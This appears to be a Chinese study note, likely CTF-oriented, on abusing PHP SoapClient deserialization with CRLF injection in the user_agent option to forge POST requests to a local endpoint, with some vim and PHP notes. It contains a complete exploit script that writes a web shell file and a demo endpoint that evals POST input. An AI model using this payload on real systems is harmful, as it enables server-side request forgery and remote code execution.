我们可以自己设置User-Agent的值。当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-TypeContent-Length都在User-Agent之下,而控制这两个是利用CRLF发送POST请求最关键的地方。

1
$_SERVER['REMOTE_ADDR']#获取最后一个代理的IP也就是直接和服务器代理或服务器交互的IP。

PHP中的join函数

1
join(seperator, array)#把数组合并为字符串,并且在数组之间加入设定的seperator。

vim快捷键

跳转到本文最后一行首字母:shift + g

跳转到最后一行最后一个字母:g + $

跳转到本行首:0

soapclient的利用

soapclient的原理

我们来看一下PHP中含魔方法的内置类

魔术方法:一般都是系统在特定时机自动调用的函数或方法,绝大多数情况下不需要程序员手动调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$classes = get_declared_classes(); // 返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
$methods = get_class_methods($class); // 返回由类的方法名组成的数组
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . ";";
}
}
print "\n";
}
#可以循环返回内置类和魔法函数,通常用于反序列化。

看到如下结果:

截屏2022-07-20 22.36.26

所以对于Soapclient::__call

对于所有含魔术方法的内置类,当其调用一个不存在的方法时,会首先自动调用__call()

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项

本次测试环境为mac,所以已经自动加载所有需要的动态连结库,不需要load。

SoapClient::__construct ( string|null $wsdl , array $options = [] )

$wsdl:wsdl文件的uri,如果是NULL意味着不使用WSDL模式。wsdl是类似html格式的一种文件格式,也是闭合标签形式。

$options:如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

官方的$option参数中有这样的一条介绍

1
The user_agent option specifies string to use in User-Agent header

这也就注定了下面我提到的下划线的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1:5555/selfwriting/soupclient/demo.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b = new SoapClient(null, array('location'=>$target, 'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,"uri"=>"xxx"));
#因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
#这里特别注意!user_agent要用下划线,可能是因为作为键值对的键的命名规则的缘故,和变量的命名一样,用下划线表示!太坑了
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;

$x = unserialize(urldecode($aaa));
$x->no_func();

下面是demo.php,用于判断写入条件

1
2
3
4
5
<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
@$a=$_POST[1];
@eval($a);
}

执行即可!

如图所示:

截屏2022-07-20 22.49.27

显然我们修改了user-agent然后控制了post请求,通过CRLF注入插入了不同的字段,用反序列化成功写入shell。